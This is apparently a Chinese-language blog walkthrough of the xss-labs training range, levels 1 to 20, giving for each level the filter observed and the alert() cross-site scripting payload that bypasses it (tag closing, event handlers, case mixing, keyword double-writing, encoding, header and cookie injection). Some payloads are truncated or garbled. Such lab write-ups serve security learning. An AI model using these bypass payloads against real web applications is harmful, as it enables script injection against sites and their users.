安装xss-labs文件到php目录下的www文件夹下
xss-labs level 1
二话不说先看下网页源码:  没啥头绪但是有个window.location.href=“level2”.php?keyword=test" 在搜索框直接改可以得到这个消息是get方式的  有了上面的测试下面就简单了直接输,通关: 
xss-labs level2
还是查看源码发现也是get方法:  输入发现没有用:  要么就是被过滤了要么就是被闭合了,查看源码看看  构造语句闭合<input> 标签:"><script>alert('xss')</script> 
xss-labs level3
查看网页源码,还是get方法:  先用常用语句<script>alert('xss')</script> 输入后查看源码:(value的值很关键)  而且很奇怪的是前面显示就少了一块括号:  这里不输入script标签,试试onclick事件:'οnclick='alert(“xss”) 
xss-labs level4
老样子先输入特定script标签再查看源码,get方法,双引号  其实和第三关一致,将单引号变成双引号闭合即可:”οnclick=“alert(“xss”) 括号里面改成斜杠也行 
xss-labs level5
老样子先输入再查看: get方法,重点观察value  script标签被过滤掉了,再看看onclick标签也被过滤掉了(“οnclick=”alert(“xss”)):  所以试试<a>标签 ,构造a标签的payload语句:
"><a href=javascript:alert(/xss/)>

xss-labs level6
老样子输入再看 get方法 script被过滤了  我感觉大概率onclick肯定也会被过滤没有试的必要了,用上一题的a标签:
"><a href=javascript:alert(/xss/)>
试了好多啥也没用,就想想大小写是不是也被过滤了:
1"><ScRipt>alert(1)</ScRipt>

xss-labs level7
输入再看,发现script没了直接变成了空的,所以这边肯定是遇到script的字符串就把她变成空值   不信我们可以再试试,只要连在一起就把他变成空的,我这边输入的是scriptscd最后就变成了scd:  所以我们可以双写来绕过(就是在script中间插入一个script,嵌套script):
"><sscriptcript>alert('xss')</sscriptcript>

xss-labs level8
输再看  这边将上面几关都试了然后实在做不出来吧就百度了,这一关的源码发现这一关对大小写、特殊字符、单双引号都进行了过滤处理:  这里使用的是一种新的绕过:编码绕过,用百度吧在线Unicode编码转义  将script转义成ASCII再次输入
java&

xss-labs level9(和第八关一样都是编码绕过)
先输入再看:get value  查看PHP源码发现链接头必须要以http:// 开头,并且用了函数strpos: 
strpos函数是返回字符串在另一字符串出现的位置,其实反过来想就是包含,所以这边就是要包含http://就行: 所以加的语句有http://就行,和第八关一样,就是加个http://:
java&

xss-labs level10
  type=hidden头一回见,百度了一下: 隐藏域在页面中对于用户是不可见的,在表单中插入隐藏域的目的在于收集或发送信息,以利于被处理表单的程序所使用。浏览者单击发送按钮发送表单的时候,隐藏域的信息也被一起发送到服务器。 就是隐藏起来了,一般是name=keyword type=submit,构造事件:"type='text' onclick="javascript:alert(/xss/)  
xss-labs level11
又是hidden,和第十关差不多,但是不一样的就是多了个t-ref:  用第十关的:"type='text' onclick="javascript:alert(/xss/) 成功。。。 
xss-labs level12
看网页源码:又是hidden,这关的value值比之前复杂一点  查看插件中的网络查看请求头发现是useragent:  那构造payload的时候value值就试试user-agent: value后的"user-agent" type='text' onclick="javascript:alert(/xss/) 
xss-labs level13
查看源码发现有个t_cook我猜是cookie:  查看cookie值看看:  在cookie中构造payload:
Cookie" οnclick="alert(/xss/)" type="text
在bp中修改并且发送可以看到value的值已经发生了改变 

xss-labs level14
直接没了,忘记截图了反正查了一下就是再点击读取的时候就会出现xss
xss-labs level15
看源码  百度ng-include语法和作用:  就是可以包含之前做的文件,查看源码发现是通过src传参:  构造payload,因为上面是get方法所以直接在网页搜索框中输入:
'level1.php?name=<a href="javascript:alert(/xss/)">'
然后点击蓝色链接:

xss-labs level16
试试在url中构造payload,发现script和/没了:  试试上一关的:<img src=1 onerror=alert("xss")> 发现空格已经被实体化了:  我们把空格进行编码:%0a
<img%0asrc%0a1%0aοnerrοr=alert('xss')>

xss-labs level17
什么图都没有,点击蓝色链接的话确实会进入18关(亲测),就是17关都没做。。。:
 看参数: 查看PHP源码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
这里是通过两个arg传的参数 直接在url中构造payload:arg01=%20onclick&arg02=alert(/xss/) 发现没有任何改变原因是火狐没法加载swf图片,切换到chrome发现可以:  点击图片完成
xss-labs level18
一开始看没图,其实和上一关一样就是swf火狐不加载,6  然后直接用上一关的payload直接过,源码也差不多:
arg01=%20onclick&arg02=alert(/xss/)

xss-labs level19
还是swf我服了 
这题太难了就看了答案:
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

xss-labs level20
这题应该和19题一样也是flash但是我没深入 看下答案:
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)

|